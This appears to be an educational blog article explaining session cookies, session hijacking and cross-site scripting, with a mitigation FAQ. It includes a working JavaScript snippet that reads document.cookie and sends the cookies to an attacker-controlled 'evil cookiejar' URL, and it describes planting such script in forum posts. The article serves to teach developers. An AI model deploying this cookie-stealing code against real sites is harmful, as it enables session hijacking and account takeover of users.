Website sessions

Photo by Mae Mu on Unsplash

Photo by Mae Mu on Unsplash

Have you ever wondered how is it possible for a cybercriminal to take over your account on a website without knowing your password?

In this article, I will give a brief explanation, and provide a simple PoC that you can use to test it out yourself.

Ignorance in this topic is dangerous for developers. Please use this information for education only. Build fantastic and secure websites that you patch regularly. Let's make XSS an attack vector of the past.

Sessions and cookies

The web is stateless, which means the webserver will not try to remember who you are, and what you wanted on your last request to the webserver. There are several reasons for this, for one, if you are behind NAT, or travel with a mobile phone you might get a new IP address for each request, and secondly the amount of data the server would potentially have to store could be massive.

The solution is usually session cookies or JWT (Javascript Web Tokens). Both of these serve as a memory for the server about who you are, and what you are trying to do. They are stored on the web browser and are passed to the web server every time you send a request.

There are several types of cookies, but the most important for cyber security is the session cookie. This is a string of text, that uniquely identifies you as a specific authenticated (signed-in) user of the website. By including the correct session cookie in your web request, you prove to the web server that you have successfully authenticated as a specific user.

Session hijacking

Because the session cookie is used to verify a successful authentication, it can be used by a cybercriminal to bypass the whole authentication process. If a cybercriminal steals a session cookie and uses it to bypass authentication, it's called session hijacking.

Because of the stateless nature of the web, the owner of the session that has been hijacked will not experience anything strange happening in their browser, except that actions that they themselves never would have done have been performed with their user account.

The only way to stop a hijacked session is to send a request to the webserver to sign out as that user. Once the user is signed out, the session cookie will no longer prove a valid authenticated session.

Stealing cookies

Manual cookie theft

There are several methods of stealing session cookies from a web browser. The most basic method requires full control of the victim's computer. By opening the web developer toolbar that most, if not every desktop web browser has, you can locate the list of cookies used by the website.

screenshot from chrome dev tools

Where session cookies for a Craft CMS session are stored

Not all web application has obvious session cookie names. Some try to obfuscate the session cookie by giving it strange and unintuitive names. But their functionality remains the same. These are tokens used to verify an authenticated user session.

To use a stolen cookie, the cybercriminal can simply copy it into their own web browser and refresh the page they want to access with the stolen session cookie.

Please note that this is a very, unlikely attack method used by the cybercriminal simply because it requires too much effort.

Cross Site Scripting

Automated cookie theft

The most popular way to steal session cookies is to make use of JavaScript in the victim's web browser. JavaScript is the programming language used by every website to make the website look and feel like a "real" application, not just a static text document. A feature of JavaScript that can be misused by cybercriminals is the ability to access cookies.

A simplified method of accessing cookies in the browser is this tiny snippet of JavaScript code.

cookie.js
// Get cookies from site
let siteCookies = document.cookie;

The snippet above will simply get the cookies for the site and save them in a variable.

Now that the attacker has every cookie the browser has stored for the site, they can be sent to an evil receiver for "safekeeping".

The simplest method of bypassing the most basic browser barriers is to send a GET request with request parameters. The fetch API in JavaScript is easy to use for this job. Most modern browsers support this API.

cookie.js
// Get cookies from site
let siteCookies = document.cookie;

// Where to send the HTTP request
let evilCookiejar = 'https://cookiejar.haxor.no';

// convert cookies into HTTP GET params
const regex = /; /ig;
cookiesAsRequestParams =  siteCookies.replaceAll(regex, '&');

// Add info about what site the cookies were gathered from
let siteAsParam= "?site=haxor.no&";

// Generate a complete HTTP GET URL
let completeUrl = evilCookiejar + siteAsParam + cookiesAsRequestParams;

// Send the cookies to the evil cookiejar
const response = await fetch(completeUrl ,{
    method: 'GET',
    mode: 'no-cors'
});
const responseData = await response;

The evil recipient must be a web server programmed to receive the request, parse the query parameters, and store the data in a database for further use by the attacker. The attacker can then use the stolen session cookie to bypass authentication as the victim user.

Please note that this JavaScript is written for readability and not functionality. In reality, the attacker would perform obfuscation tricks to prevent endpoint protection services from stopping the execution of this attack.

Upload XSS

Armed with this evil JavaScript above, you might wonder how the attacker is able to get the script to run in the victim's browser. On old, outdated, or just badly written websites it's possible to upload HTML code into forum posts that contain JavaScript snippets. Once uploaded every user that sees the uploaded data from the evil user, will execute the XSS script compromising their session, and making the attacker able to use their account for their own needs.

Thankfully this is getting more and more difficult for attackers to do, because of the popularity of solid web frameworks and CMS'es (Content Management Systems) like Craft CMS and WordPress, and web frameworks like Laravel and Django that make it easy to sanitize the input given from users in web form fields.

Modern CMS'es and web framework developers have a strong focus on XSS prevention to help developers build safe websites fast. The problem comes when untrained or ignorant developers build custom plugins where form inputs are not sanitized properly.

Mitigation / FAQ

What can end users do to prevent this from affecting them?
Nothing really... They have to trust the developers of the website they are using.

Will 2FA or MFA prevent this from happening?
No! XSS and session theft will bypass the entire login process for the attacker.

Is there anything end-users can do at all??
Yes, and no. The only thing that can limit the impact of a session hijack via XSS is to sign out from your accounts when you are done. This is inconvenient, but this is the only way to stop an attacker from using a stolen session.

What can developers do to prevent this from happening?
A lot! But mostly it's important to know how to sanitize input from users. Never trust user input. Always verify and sanitize user input!